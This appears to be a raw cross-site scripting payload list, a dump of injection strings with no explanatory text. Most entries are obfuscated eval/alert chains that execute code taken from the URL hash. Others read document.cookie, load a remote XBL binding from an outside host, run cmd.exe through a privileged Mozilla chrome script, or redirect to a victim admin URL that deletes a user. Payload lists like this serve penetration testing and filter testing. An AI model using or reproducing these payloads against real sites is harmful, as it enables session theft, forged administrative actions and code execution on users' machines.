onclick=eval/**/(/ale/.source%2b/rt/.source%2b/(7)/.source); 000%3cs%3e111%3c/s%3e%3c%73%3e%32%32%32%3c%2f%73%3e<s>333</s><s>444</s> ';alert(0)//\';alert(1)//";alert(2)//\";alert(3)//-->">'>=&{}");}alert(6);function xss(){// ';alert(0)//\';alert(1)//";alert(2)//\";alert(3)//-->">'>=&{}");} aim: &c:\windows\system32\calc.exe" ini="C:\Documents and Settings\All Users\Start Menu\Programs\Startup\pwnd.bat"
`> > xyz onerror=alert(6); 1;a=eval;b=alert;a(b(/c/.source)); 1];a=eval;b=alert;a(b(17));// ];a=eval;b=alert;a(b(16));// '];a=eval;b=alert;a(b(15));// 1};a=eval;b=alert;a(b(14));// '};a=eval;b=alert;a(b(13));// };a=eval;b=alert;a(b(12));// a=1;a=eval;b=alert;a(b(11));// ;//%0da=eval;b=alert;a(b(10));// ';//%0da=eval;b=alert;a(b(9));// '> test--> <%3C<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<\x3c\x3C\u003c\u003C */a=eval;b=alert;a(b(/e/.source));/* width: expression((window.r==document.cookie)?'':alert(r=document.cookie)) XSS
a=%3c%69%6d%67%2f%73%72%63%3d%31%20%6f%6e%65%72%72%6f%72%3d%61%6c%65%72%74%28%31%29%3edocument.write(unescape(a..b)) Redirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser exp/* XSS s1=''+'java'+''+'scr'+'';s2=''+'ipt'+':'+'ale'+'';s3=''+'rt'+''+'(1)'+''; u1=s1+s2+s3;URL=u1 s1=0?'1':'i'; s2=0?'1':'fr'; s3=0?'1':'ame'; i1=s1+s2+s3; s1=0?'1':'jav'; s2=0?'1':'ascr'; s3=0?'1':'ipt'; s4=0?'1':':'; s5=0?'1':'ale'; s6=0?'1':'rt'; s7=0?'1':'(1)'; i2=s1+s2+s3+s4+s5+s6+s7; s1=0?'':'i';s2=0?'':'fr';s3=0?'':'ame';i1=s1+s2+s3;s1=0?'':'jav';s2=0?'':'ascr';s3=0?'':'ipt';s4=0?'':':';s5=0?'':'ale';s6=0?'':'rt';s7=0?'':'(1)';i2=s1+s2+s3+s4+s5+s6+s7;i=createElement(i1);i.src=i2;x=parentNode;x.appendChild(i); s1=['java'+''+''+'scr'+'ipt'+':'+'aler'+'t'+'(1)']; s1=['java'||''+'']; s2=['scri'||''+'']; s3=['pt'||''+'']; s1=!''&&'jav';s2=!''&&'ascript';s3=!''&&':';s4=!''&&'aler';s5=!''&&'t';s6=!''&&'(1)';s7=s1+s2+s3+s4+s5+s6;URL=s7; s1='java'||''+'';s2='scri'||''+'';s3='pt'||''+'';
XSS %0da=eval;b=alert;a(b(/d/.source)); test +alert(0)+
  • XSS "> %26%2339);x=alert;x(%26%2340 /finally through!/.source %26%2341);// XSS style=-moz-binding:url(http://h4k.in/mozxss.xml#xss);" a=" sstyle=foobar"tstyle="foobar"ystyle="foobar"lstyle="foobar"estyle="foobar"=-moz-binding:url(http://h4k.in/mozxss.xml#xss)>foobar#xss)" a=" b=top,a=/loc/ . source,a+=/ation/ . source,b[a=a] = name a=/ev/// .source a+=/al/// .source a[a] (name) a=/ev/ .source a+=/al/ .source,a = a[a] a(name) setTimeout// (name// ,0) navigatorurl:test" -chrome "javascript:C=Components.classes;I=Components.interfaces;file=C[\'@mozilla.org/file/local;1\'].createInstance(I.nsILocalFile);file.initWithPath(\'C:\'+String.fromCharCode(92)+String.fromCharCode(92)+\'Windows\'+String.fromCharCode(92)+String.fromCharCode(92)+\'System32\'+String.fromCharCode(92)+String.fromCharCode(92)+\'cmd.exe\');process=C[\'@mozilla.org/process/util;1\'].createInstance(I.nsIProcess);process.init(file);process.run(true%252c{}%252c0);alert(process) MOVE MOUSE OVER THIS AREA perl -e 'print "";'> out perl -e 'print "&alert("XSS")";' > out #115;crip&#116;:ale&#114;t('XS;S')> #x63ript:&#x61lert(&#x27XSS')> #0000118as&#0000099ri&#0000112t:&#0000097le&#0000114t(&#0000039XS&#0000083')> >"'> (1?(1?{a:1?""[1?"ev\a\l":0](1?"\a\lert":0):0}:0).a:0)[1?"\c\a\l\l":0](content,1?"x\s\s":0) ev+<_>al](''+<_>aler+<_>t+<_>(1)); s1=evalalerta(1)a,s2=+'',s3=s1+s2,e1=/s/!=/s/?s3[0]:0,e2=/s/!=/s/?s3[1]:0,e3=/s/!=/s/?s3[2]:0,e4=/s/!=/s/?s3[3]:0,e=/s/!=/s/?0[e1+e2+e3+e4]:0,a1=/s/!=/s/?s3[4]:0,a2=/s/!=/s/?s3[5]:0,a3=/s/!=/s/?s3[6]:0,a4=/s/!=/s/?s3[7]:0,a5=/s/!=/s/?s3[8]:0,a6=/s/!=/s/?s3[10]:0,a7=/s/!=/s/?s3[11]:0,a8=/s/!=/s/?s3[12]:0,a=a1+a2+a3+a4+a5+a6+a7+a8,1,e(a) o={x:''+eva+l,y:''+aler+t+(1)};function f() { 0[this.x](this.y) }f.call(o); ___=1?'ert(123)':0,_=1?'al':0,__=1?'ev':0,1[__+_](_+___) a="get"; b="URL(""; c="javascript:"; d="alert('XSS');")";eval(a+b+c+d); XSS open(name) alert("XSS")'); ?> alert(1) XSS res://c:\\program%20files\\adobe\\acrobat%207.0\\acrobat\\acrobat.dll/#2/#210 a=0||'ev'+'al',b=0||location.hash,c=0||'sub'+'str',1[a](b[c](1)) a=0||'ev'+'al'||0;b=0||'locatio';b+=0||'n.h'+'ash.sub'||0;b+=0||'str(1)';c=b[a];c(c(b)) eval.call(this,unescape.call(this,location)) d=0||'une'+'scape'||0;a=0||'ev'+'al'||0;b=0||'locatio';b+=0||'n'||0;c=b[a];d=c(d);c(d(c(b))) l= 0 || 'str',m= 0 || 'sub',x= 0 || 'al',y= 0 || 'ev',g= 0 || 'tion.h',f= 0 || 'ash',k= 0 || 'loca',d= (k) + (g) + (f),a _=eval,__=unescape,___=document.URL,_(__(___)) $_=document,$__=$_.URL,$___=unescape,$_=$_.body,$_.innerHTML = $___(http=$__) $=document,$=$.URL,$$=unescape,$$$=eval,$$$($$($)) evil=/ev/.source+/al/.source,changeProto=/Strin/.source+/g.prototyp/.source+/e.ss=/.source+/Strin/.source+/g.prototyp/.source+/e.substrin/.source+/g/.source,hshCod=/documen/.source+/t.locatio/.source+/n.has/.source+/h/.source;7[evil](changeProto);hsh=7[evil](hshCod),cod=hsh.ss(1);7[evil](cod) with(location)with(hash)eval(substring(1)) } >"' a=alert;a(0) A=alert;A(1)
    MOVE MOUSE OVER THIS AREA '%uff1cscript%uff1ealert('XSS')%uff1c/script%uff1e' http://aa"> http://aa'> >%22%27>